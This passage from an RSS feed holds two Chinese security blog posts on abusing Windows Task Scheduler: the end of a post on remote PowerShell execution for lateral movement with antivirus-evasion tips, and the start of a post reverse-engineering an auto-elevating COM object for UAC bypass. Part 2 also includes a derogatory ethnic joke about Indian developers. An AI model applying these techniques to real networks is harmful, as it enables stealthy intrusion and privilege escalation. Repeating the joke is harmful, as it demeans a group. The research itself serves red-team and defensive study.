....&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;对付一些没有词法分析的常规防御手段，这些基本上足够了。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;接下来，由于我们在进行横向移动，所以并不能确定命令在目标环境的执行时间，所以需要加一个轮询。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;轮询的退出条件绝不能`睿智地`直接判断是否修改了Description，这实际上也不是不能用，但在`脚本出错`的情况下等于死循环。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`IRegisteredTask`对象提供了表示当前任务状态的`State`属性，任务运行结束后将由`Running`变为`Ready`，所以只要轮询读取任务状态即可。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;while&amp;nbsp;(task.State&amp;nbsp;!=&amp;nbsp;TaskState.Ready)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;task&amp;nbsp;=&amp;nbsp;folder.GetTask(taskname);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Thread.Sleep(1000);
}&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;接着是一些锦上添花的可选`opsec`手段，因为命令内容中并没有常见的（我特指`下载执行`这个被很多规则视作Powershell`唯一`滥用方式的）强特征，所以几乎不用处理。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;同样的，没什么杀软会扫任务计划的`Description`属性（无论`对象`、`内存`还是`Xml`），所以默认不进行处理也是足够的。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当然，这些都是后续，等到这个方法被捕获了部分`“强特征”`，到时候处理一下`iex`，对`返回`和`命令`进行编码就会变为新的对抗点等待挖掘。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，不要忘记`iex`实际上执行的是PowerShell脚本，所以，这是一个`远程PowerShell`（回忆一下`WinRM`），也就意味着我们不光可以执行`命令行程序`：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/09/202209281664315799352491.png&quot; title=&quot;3-3.png&quot; alt=&quot;3-3.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;也可以执行任意`Cmdlet`：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/09/202209281664315819589262.png&quot; title=&quot;3-4.png&quot; alt=&quot;3-4.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;甚至于更为复杂的`脚本`：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/09/202209281664315865371969.png&quot; title=&quot;3-5.png&quot; alt=&quot;3-5.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;也即意味着，一切`.Net`能做到的事情，我们都能在`远程（Remotly）`、`无文件（fileless）`、`无感知（undetectable）`地进行操作。再进一步修改我们甚至能够做到真正基于`MS-TSCH`实现的`交互式（Interactive）`远程PowerShell。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（为什么上面说可能脚本出错？这里就是了）&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;0x04 反思&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;至此，和计划任务相关的内容基本结束了。接下来我们跳出计划任务角度，站在应用场景的角度来回顾曾经我们可用的方案。一方面做个简单的总结，另一方面，想一想如何合理地进行使用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在横向移动这个场景下，除了漏洞与计划任务之外，最为经典好用的技术要数`PsExec`和`WMI`这两种。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;为什么PsExec经久不衰？除了微软签名带来~~曾经的~~opsec之外，还有着通过域环境下默认必须开启的`SMB`协议，实现了单协议的横移与回显结合的特点，所以在相当长的时间用作内网渗透的首选。哪怕是现在，基于`Impacket`或是`API`的自修改版PsExec依然能起到不俗的作用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;为什么后续换成`WmiExec`？因为WMI服务同样默认开启，且基本上不存在关闭的可能，通过`stdregprov`依然可以达到同协议回显的目的，从而变为基于`DCOM`协议横移的首选。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在，我们多了`基于RPC的taskexec`这个技术选择。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;是的，这仅仅是一个技术补充，而非替代品。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;为什么？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;因为每一种攻击技术，必定有着不同的`应用范围/环境要求`，同时必定存在各种各样的`强特征`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;所有声称无感的(`undetectable`)绕过(`bypass`)/逃逸(`evasion`)方式，只是没有捕获强特征罢了&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`强特征`意味着被检测、被追溯的可能。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;但没有哪家产品敢于声称100%检测`某一技术与其变种`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;也没有哪家产品能够做到100%无需`人为`判断/处置。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而且检测和追溯需要`人`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;更何况验证自动化的结果进行处置同样需要`人`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在我们从`钓鱼的`变成`钓鱼佬`之前，几乎不可能见到这个场景下可以替代人工的AI大规模商用。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以，每一个备选项在实战中，都是通向成功的一个Gadget。更深入一些，在最初0x01列出的`mshta`、`sct`、`ComHandler`等等未选择的实现方式同样也是备选项，都是在实现`基于任务计划的横向移动`这一目的的过程中可用的Gadget。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;甚至于将这些备选项重新组合，还能得到另外一大堆很好用的`chain`&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而本文所述内容，则是在`对抗-内网渗透-域-RPC`这个更大的行为链条中的一个更大的gadget。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;0x05 总结&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这是本系列第三篇，我们从应用场景入手，随后进行可行性分析，接下来根据分析的内容进行原型实验，最后结合实战经验，打磨出一个全新的横向移动工具。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;与人斗，其乐无穷。安全研究实质上是人与人之间的博弈，从纯粹技术的角度看来，每一个`精通`、`掌握`的技术点都应当能够变为我们的`Gadget储备`，并结合我们长期积累的`经验`，在过程中`动态地`创造一条合理的`Chain`，最终在实战中发扬光大。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;实战应用应当是知识的有机组合，不存在一劳永逸绝对成功的技巧，但知识的积累与理解能让我们更加轻松。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;当然，如果你就是喜欢无脑12345，那权当我什么都没说&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;文章中的代码可以在&lt;a href=&quot;https://github.com/zcgonvh/TaskSchedulerMisc&quot; target=&quot;_self&quot;&gt;Github&lt;/a&gt;找到，这次是一个没什么坑的原型，可以直接用，但最好自行修改一些特征防止撞车。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;还是那句话，希望这篇文章能在技术点之外为各位带来启发。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 28 Sep 2022 05:59:21 +0800</pubDate></item><item><title>Advanced Windows Task Scheduler Playbook - Part.2 from COM to UAC bypass and get SYSTEM dirtectly</title><link>http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;从本文起，专有名词将以官方英文原文着重标记。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x00 思考&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;让我们上一章通过对`MS-TSCH`进行分析理解，大致明确了微软关于计划任务程序的设计思路：以文档化XML格式作为描述、RPC协议为基础，在公开函数式RPC调用的同时，通过COM Helper实现面向对象。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编程思想与设计模式才应当是最基础的安全技术，微软在计划任务程序设计中明显体现了一个`进化`的思想，从`面向过程`进化到`面向对象`，这个过程就是常说的`封装`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;让我们继续用常见的Web角度进行类比，可以理解为：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;PHP5进化至PHP7。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;PHP/ASP进化至Java/.Net。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;JS进化至TS/ES6。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（在开发与设计层面，一些思想是统一且几乎不会改变的）&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;和渗透时常用的脚本或工具不同，在一个完整的系统中，无论是一套封装后的组件，或是一组完善的协议实现，其本身并没有`实现`之外的任何意义。只有在使用者（或称“调用方”）根据某些`业务逻辑`进行调用，随之多个完整的`业务功能`按照相关逻辑组成一套系统，此时的组件才称得上“有意义”。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（如果你认同这个观点，那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑，&lt;strong&gt;每一个&lt;/strong&gt;）&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;计划任务程序作为文档化组件之一，我们当然可以直接根据文档进行调用。无论是直接利用十五年前微软提供的C/C++或者VBS，或是进一步利用十四年前vs2008附带的的C# Interop，再或是利用十年前用烂的的PowerShell都能够`直接`产生一些`红队（Redteam）`、`武器化（Weaponize）`、`渗透测试工具（Pentesting Tools）`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;感谢微软提供了丰富的API为渗透测试带来方便，但回归研究者思路，我们不该忽略这一点：计划任务作为重要系统组件之一，被广泛应用于系统多个功能模块中。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以，让我们来思考一组问题：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;有哪些自带功能调用了计划任务？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这个功能可以起到什么作用？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这个功能是否进行了组件化，即可以通过某种方式进行调用？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;是否存在利用或滥用的可能？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x01 基础&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在回答这个问题之前，让我们重温COM基础。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;微软提供了非常完善的&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/com/com-fundamentals&quot; target=&quot;_self&quot;&gt;基础知识文档&lt;/a&gt;，以及配套的示例代码，这些文档和代码的历史至少可以追溯至Windows 2000的时代。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;（我不想在查找资料上花太多篇幅。根据个人经验，花费两天时间，拿出挖洞找链的劲头，配合写论文找参考资料的态度，将原文从头到尾啃一遍，比看十篇技术文章都要有用的多。&lt;strong&gt;包括你在看的这篇&lt;/strong&gt;）&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;参考文档顺便查漏补缺，我们重新回忆一下最为基础的知识点：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;1.在设计层面，COM模型分为`接口`与`实现`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如计划任务示例代码中的`ITaskService`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;2.区分COM组件的唯一标识为`Guid`，分别为针对接口的`IID（Interface IDentifier）`与针对类的`CLSID（CLaSs IDentifier）`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如`CLSID_TaskScheduler`定义为`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;3.COM组件需要在注册表内进行注册才可进行调用。通常情况下，系统预定义组件注册于`HKEY_LOCAL_MACHINE\SOFTWARE\Classes`，用户组件注册于`HKEY_CURRENT_USER\SOFTWARE\Classes`。`HKEY_CLASSES_ROOT`为二者合并后的视图，在系统服务角度等同于`HKEY_LOCAL_MACHINE\SOFTWARE\Classes`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如计划任务组件的注册信息注册于`HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;4.Windows最小的可独立运行单元是进程，最小的可复用的代码单元为类库，所以COM同样存在`进程内（In-Process）`与`进程外（Out-Of-Process）`两种实现方式。多数情况下，进程外COM组件为一个exe，进程内COM组件为一个dll。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如计划任务的COM对象为进程内组件，由`taskschd.dll`实现。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;5.为方便COM组件调用，可以通过`ProgId（Programmatic IDentifier）`为`CLSID`指定别名。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如计划任务组件的ProgId为`Schedule.Service.1`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;6.客户端调用`CoCreateInstance`、`CoCreateInstanceEx`、`CoGetClassObject`等函数时，将创建具有指定`CLSID`的对象实例，这个过程称为`激活（Activation）`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如微软示例代码中的`CoCreateInstance(CLSID_TaskScheduler,....)`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;7.COM采用`工厂模式`对调用方与实现方进行解耦，包括进程内外COM组件激活、通信、转换，`IUnknown::QueryInterface`和`IClassFactory`始终贯穿其中。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;例如微软示例代码中的一大堆`QueryInterface`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在，我们有了对COM的基本认知，接下来要在一个庞大、复杂的操作系统之中，跟踪一个微小的COM对象调用了。无论多么复杂的系统，归根结底由人开发，由编译器编译。我们知道Windows的编译器为VS，语言为微软风格的C/C++，&lt;span style=&quot;text-decoration: line-through;&quot;&gt;开发者为三哥&lt;/span&gt;。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;那么来到思考时间：你是一名三哥程序猿，恒河水使你的代码和你的身体一样无比健壮。现在，你要用VS建立一个C/C++项目，里面调用计划任务做一些事。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;-你会怎么写？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;-`#include &amp;lt;taskschd.h&amp;gt;`&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;-为什么？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;-“标准”示例如此。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;很好，我们得到了第一种方式：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;在所有系统组件中搜索字符串形式的`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`，以及其二进制表现形式。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;&lt;br/&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;然后重新把思维切换回安全领域，暂时客串一番样本分析：你是一名应急响应工程师，陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本，已知其中某样本会创建计划任务，在没自动化沙箱的情况下怎样能把它揪出来进行后续分析？&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;-那TM还用说？ProcMon开起来、某绒刀砍它。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;于是我们有了第二种方式：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;跟踪注册表`HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32`的读取，通过日志、Hook、劫持等等方式获取调用栈。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，把思维切到我们最熟悉的安全开发/红蓝对抗：现在洋大人发了个框架，能随意拓展巨牛逼，能过宇宙杀软加计划任务巨好用，还有源码能抄简直是洋菩萨。唯一一个问题：不知道在哪调了计划任务，就看到一堆配置文件一堆设计模式。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们拿到了第三种方式：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;考虑到工厂与动态调用，在配置文件等`静态数据`中搜索`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`，以及其二进制表现形式。&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;&lt;br/&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x02 发现&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在，我们有三种可行方案来进行跟踪了。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;思考一下三种方式的优劣：第二种动态追踪的方式能够直观的找到调用方，但一个前提是必须存在活动的调用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;计划任务功能并不是一个需要频繁调用的功能，Windows的复杂性也决定了无法手动访问每一个功能，所以不妨暂时搁置。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;第一三种均可归结为静态查找，考虑到我们研究的目标基于COM，而COM绝大多数配置基于注册表，所以首先在注册表这个最大的公共配置文件内进行搜索，可以得到如图所示结果：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800056232084.png&quot; title=&quot;2-1.png&quot; alt=&quot;2-1.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;C:\&amp;gt;reg&amp;nbsp;query&amp;nbsp;HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}&amp;nbsp;/s
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
(默认)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REG_SZ&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Virtual&amp;nbsp;Factory&amp;nbsp;for&amp;nbsp;MaintenanceUI
AppId&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REG_SZ&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
LocalizedString&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REG_EXPAND_SZ&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@%SystemRoot%\System32\MaintenanceUI.dll,-1
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\Elevation
Enabled&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REG_DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x1
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\InProcServer32
(默认)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REG_EXPAND_SZ&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;%SystemRoot%\System32\shpafact.dll
ThreadingModel&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REG_SZ&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Apartment
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\VirtualServerObjects
{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;REG_SZ&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们发现了一个可疑的东西：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;一个由`%SystemRoot%\System32\shpafact.dll`实现的未文档化COM组件`A6BFEA43-501F-456F-A845-983D3AD7B8F0`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;一个未文档化的自定义注册表项`VirtualServerObjects`，其值包含计划任务组件CLSID。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`Elevation@Enabled=1`，意味着可以进行UAC自动提升。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;接下来要做的，就是对这个组件进行分析，找到其设计层面的意义，以及探寻是否存在利用的可能。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x03 分析&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;接下来，我们开始分析COM所实现功能，以及是否可以利用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`%SystemRoot%\System32\shpafact.dll`代码量极少，让我们用五分钟时间进行快速分析。首先根据&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject&lt;/a&gt;，COM通过固定导出函数`DllGetClassObject`创建实例，`shpafact.dll`创建了`CClassFactory`作为工厂类：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800125716489.png&quot; title=&quot;2-2.png&quot; alt=&quot;2-2.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`CClassFactory`作为工厂支持创建多个对象，我们的目标组件`A6BFEA43-501F-456F-A845-983D3AD7B8F0`并非已知的两个CLSID之一，将进入最下方`CElevatedFactoryServer::CreateInstance`分支：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800148488600.png&quot; title=&quot;2-3.png&quot; alt=&quot;2-3.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`CElevatedFactoryServer::CreateInstance`方法最终将直接返回`CElevatedFactoryServer`对象实例：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800169190046.png&quot; title=&quot;2-4.png&quot; alt=&quot;2-4.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`CElevatedFactoryServer`对象继承自`IUnknown`，且仅有一个对象方法`ServerCreateInstance`：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800193912380.png&quot; title=&quot;2-5.png&quot; alt=&quot;2-5.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;`ServerCreateInstance`方法签名为`HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*)`，当`REFCLSID`参数已在`VirtualServerObjects`注册表项注册的情况下，将直接创建指定`CLSID`的对象：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800215909408.png&quot; title=&quot;2-5-1.png&quot; alt=&quot;2-5-1.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据`QueryInterface`方法可得到IID_ElevatedFactoryServer为`804bd226-af47-4d71-b492-443a57610b08`：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800238694149.png&quot; title=&quot;2-6.png&quot; 